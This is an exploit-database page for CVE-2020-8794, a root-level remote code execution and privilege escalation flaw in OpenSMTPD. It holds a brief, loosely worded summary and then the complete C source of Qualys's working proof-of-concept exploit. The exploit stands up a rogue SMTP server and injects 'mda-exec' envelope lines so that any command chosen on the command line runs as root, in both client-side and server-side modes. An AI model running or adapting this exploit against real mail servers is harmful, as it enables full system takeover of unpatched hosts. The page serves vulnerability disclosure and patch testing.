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OpenSMTPD
by:
Qualys, Inc.
9.8
CVSS
CRITICAL
Local Privilege Escalation and Remote Code Execution
20
CWE
Product Name: OpenSMTPD
Affected Version From: 6.6.2p1
Affected Version To: 6.6.3p1
Patch Exists: YES
Related CWE: CVE-2020-8794
CPE: a:openbsd:opensmtpd:6.6.2p1
Other Scripts: N/A
Platforms Tested: Linux, Mac, Windows
2020

LPE and RCE in OpenSMTPD’s default install (CVE-2020-8794)

A vulnerability in OpenSMTPD's default install allows an attacker to execute arbitrary code with root privileges. The vulnerability is due to a lack of input validation in the SMTP protocol parser. An attacker can send a specially crafted SMTP command to the server, which will cause the parser to execute arbitrary code with root privileges. This can be used to gain access to the server and execute malicious code.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should upgrade to the latest version of OpenSMTPD to ensure that they are protected.
Source

Exploit-DB raw data:

/*
 * LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)
 * Copyright (C) 2020 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

static enum {
    CLIENT_SIDE_EXPLOIT,
    SERVER_SIDE_EXPLOIT,
} exploit = CLIENT_SIDE_EXPLOIT;

static enum {
    NEW_SMTPD_GRAMMAR,
    OLD_SMTPD_GRAMMAR,
} grammar = NEW_SMTPD_GRAMMAR;

static struct {
    const char * command;
    const char * user;
    const char * dispatcher;
    const char * maildir;
    char lines[512];
} inject = {
    .command = "X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0",
    .user = "root",
    .dispatcher = "local_mail",
    .maildir = NULL,
};

#define die() do { \
    printf("died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static struct addrinfo *
common_getaddrinfo(const char * const host, const char * const port)
{
    const struct addrinfo hints = {
        .ai_family = AF_INET,
        .ai_socktype = SOCK_STREAM,
        .ai_protocol = IPPROTO_TCP,
        .ai_flags = AI_NUMERICHOST | AI_NUMERICSERV,
    };
    struct addrinfo * addr = NULL;
    if (getaddrinfo(host, port, &hints, &addr) != 0) die();
    if (addr == NULL || addr->ai_next != NULL) die();
    return addr;
}

static const char *
common_getnameinfo(const struct sockaddr * const addr, const socklen_t addr_len)
{
    static char host[NI_MAXHOST];
    static char port[NI_MAXSERV];
    if (getnameinfo(addr, addr_len, host, sizeof(host), port, sizeof(port),
        NI_NUMERICHOST | NI_NUMERICSERV) != 0) die();

    static char host_port[NI_MAXHOST + NI_MAXSERV];
    if (snprintf(host_port, sizeof(host_port), "%s:%s", host, port) <= 0) die();
    return host_port;
}

static void
common_send(const int fd, const char * const format, va_list ap)
{
    if (fd <= -1) die();
    static char buf[1024];
    const int len = vsnprintf(buf, sizeof(buf), format, ap);
    if (len <= 0 || (unsigned)len >= sizeof(buf)) die();
    printf("--> %s%s", buf, buf[len-1] != '\n' ? "\n" : "");

    const char * data = buf;
    size_t size = len;

    for (;;) {
        const ssize_t sent = send(fd, data, size, MSG_NOSIGNAL);
        if (sent <= 0) die();
        if ((size_t)sent > size) die();
        data += sent;
        size -= sent;
        if (size <= 0) return;
    }
    die();
}

static int listen_fd = -1;

static void
server_listen(void)
{
    if (listen_fd != -1) die();
    const struct addrinfo * const addr = common_getaddrinfo("0.0.0.0", "25");
    listen_fd = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
    if (listen_fd <= -1) die();

    const int on = 1;
    if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) != 0) die();
    if (bind(listen_fd, addr->ai_addr, addr->ai_addrlen) != 0) die();
    if (listen(listen_fd, 10) != 0) die();

    printf("\nListening on %s\n",
        common_getnameinfo(addr->ai_addr, addr->ai_addrlen));
}

static int server_fd = -1;

static void
server_accept(void)
{
    struct sockaddr addr;
    socklen_t addr_len = sizeof(addr);

    if (listen_fd <= -1) die();
    if (server_fd != -1) die();
    server_fd = accept(listen_fd, &addr, &addr_len);
    if (server_fd <= -1) die();
    if (addr_len > sizeof(addr)) die();

    const time_t now = time(NULL);
    printf("\nConnection from %s\n%s",
        common_getnameinfo(&addr, addr_len), ctime(&now));

    const int on = 1;
    if (setsockopt(server_fd, IPPROTO_TCP, TCP_NODELAY, &on, sizeof(on)) != 0) die();
}

static void
server_send(const char * const format, ...)
{
    if (server_fd <= -1) die();

    va_list ap;
    va_start(ap, format);
    common_send(server_fd, format, ap);
    va_end(ap);
}

static char server_command[1024];

static void
server_recv(const char * const prefix)
{
    if (server_fd <= -1) die();
    const size_t prefix_len = strlen(prefix);
    if (prefix_len < 4) die();

    char * data = server_command;
    size_t size = sizeof(server_command);

    for (;;) {
        const ssize_t rcvd = recv(server_fd, data, size, 0);
        if (rcvd <= 0) die();
        if ((size_t)rcvd >= size) die();
        data += rcvd;
        size -= rcvd;
        data[0] = '\0';
        if (data[-1] != '\n') continue;
        if (strchr(server_command, '\n') != data - 1) die();

        printf("<-- %s", server_command);
        if (strncmp(server_command, prefix, prefix_len) != 0) die();
        return;
    }
    die();
}

static void
server_close(void)
{
    if (server_fd <= -1) die();
    if (close(server_fd) != 0) die();
    server_fd = -1;
}

static void
server_session(const char * const inject_lines)
{
    const char * const error_code =
        (exploit == SERVER_SIDE_EXPLOIT) ? "421" : "553";

    server_accept();
    server_send("220 ent.of.line ESMTP\n");

    server_recv("EHLO ");
    server_send("250 ent.of.line Hello\n");

    server_recv("MAIL FROM:<");
    if ((strncmp(server_command, "MAIL FROM:<>", 12) == 0) !=
        (exploit == SERVER_SIDE_EXPLOIT)) die();

    if (inject_lines != NULL) {
        if (inject_lines[0] == '\0') die();
        if (inject_lines[0] == '\n') die();
        if (inject_lines[strlen(inject_lines)-1] == '\n') die();

        server_send("%s-Error\n", error_code);
        server_send("%s\n\n%s%c", error_code, inject_lines, (int)'\0');

    } else {
        server_send("%s Error\n", error_code);

        server_recv("RSET");
        server_send("250 Reset\n");

        server_recv("QUIT");
        server_send("221 Bye\n");
    }
    server_close();
}

static const struct addrinfo * client_target = NULL;
static const char * client_mail = NULL;
static const char * client_rcpt = NULL;

static int client_fd = -1;

static void
client_connect(void)
{
    if (client_fd != -1) die();
    client_fd = socket(client_target->ai_family, client_target->ai_socktype,
        client_target->ai_protocol);
    if (client_fd <= -1) die();

    if (connect(client_fd, client_target->ai_addr,
        client_target->ai_addrlen) != 0) die();

    printf("\nConnected to %s\n",
        common_getnameinfo(client_target->ai_addr, client_target->ai_addrlen));
}

static void
client_send(const char * const format, ...)
{
    if (client_fd <= -1) die();

    va_list ap;
    va_start(ap, format);
    common_send(client_fd, format, ap);
    va_end(ap);
}

static char client_reply[1024];

static void
client_recv(const char * const prefix)
{
    if (client_fd <= -1) die();
    const size_t prefix_len = strlen(prefix);
    if (prefix_len < 3) die();

    char * data = client_reply;
    size_t size = sizeof(client_reply);
    const char * line = data;

    for (;;) {
        const ssize_t rcvd = recv(client_fd, data, size, 0);
        if (rcvd <= 0) die();
        if ((size_t)rcvd >= size) die();
        data += rcvd;
        size -= rcvd;
        data[0] = '\0';
        if (data[-1] != '\n') continue;

        for (;;) {
            const char * const new_line = strchr(line, '\n');
            if (new_line == NULL) break;
            if (new_line - line < 4) die();
            printf("<-- %.*s", (int)(new_line - line + 1), line);
            if (strncmp(line, prefix, prefix_len) != 0) die();

            if (line[3] == ' ') {
                if (new_line + 1 != data) die();
                return;
            }
            if (line[3] != '-') die();
            line = new_line + 1;
        }
        if (line != data) die();
    }
    die();
}

static void
client_close(void)
{
    if (client_fd <= -1) die();
    if (close(client_fd) != 0) die();
    client_fd = -1;
}

static void
client_session(void)
{
    client_connect();
    client_recv("220 ");

    client_send("HELP\n");
    client_recv("214");
    if (strstr(client_reply, "please contact bugs@openbsd.org") == NULL) die();

    client_send("EHLO ent.of.line\n");
    client_recv("250");
    const int dsn = (strstr(client_reply, "250-DSN") != NULL);

    client_send("MAIL FROM:<%s>\n", client_mail);
    client_recv("250 ");

    client_send("RCPT TO:<%s>%s\n", client_rcpt, dsn ? " NOTIFY=SUCCESS" : "");
    client_recv("250 ");

    client_send("DATA\n");
    client_recv("354 Enter mail, end with ");

    if (!dsn) {
        client_send("Delivered-To: %s\n", client_rcpt);
    }
    client_send("\n");
    client_send(".\n");
    client_recv("250 ");

    client_send("QUIT\n");
    client_recv("221 ");
    client_close();
}

int
main(int argc, char * const * argv)
{
    setlinebuf(stdout);
    puts("LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)");
    puts("Copyright (C) 2020 Qualys, Inc.");

    int opt;
    while ((opt = getopt(argc, argv, "c:u:d:m:n")) != -1) {
        switch (opt) {
        case 'c':
            inject.command = optarg;
            break;
        case 'u':
            grammar = OLD_SMTPD_GRAMMAR;
            inject.user = optarg;
            break;
        case 'd':
            inject.dispatcher = optarg;
            break;
        case 'm':
            grammar = OLD_SMTPD_GRAMMAR;
            inject.maildir = optarg;
            break;
        case 'n':
            grammar = NEW_SMTPD_GRAMMAR;
            break;
        default:
            die();
        }
    }

    if (grammar == NEW_SMTPD_GRAMMAR) {
        const int len = snprintf(inject.lines, sizeof(inject.lines),
            "type:mda\nmda-exec:%s\ndispatcher:%s\nmda-user:%s",
            inject.command, inject.dispatcher, inject.user);
        if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die();

    } else if (grammar == OLD_SMTPD_GRAMMAR) {
        const int len = snprintf(inject.lines, sizeof(inject.lines),
            "type:mda\nmda-buffer:%s\nmda-method:%s\nmda-user:%s\nmda-usertable:<getpwnam>",
            inject.maildir ? inject.maildir : inject.command,
            inject.maildir ? "maildir" : "mda", inject.user);
        if (len <= 0 || (unsigned)len >= sizeof(inject.lines)) die();

    } else die();

    argc -= optind;
    argv += optind;

    if (argc == 3) {
        exploit = SERVER_SIDE_EXPLOIT;
        client_target = common_getaddrinfo(argv[0], "25");
        client_mail = argv[1];
        client_rcpt = argv[2];

    } else if (argc != 0) die();

    server_listen();
    if (exploit == CLIENT_SIDE_EXPLOIT) {
        server_session(inject.lines);

    } else if (exploit == SERVER_SIDE_EXPLOIT) {
        client_session();
        unsigned try;
        for (try = 0; try < 1; try++) {
            server_session(NULL);
            puts("\nPlease wait for OpenSMTPD to connect back...");
        }
        server_session(inject.lines);
        client_session();
        server_session("type:invalid");

    } else die();
    exit(EXIT_SUCCESS);
}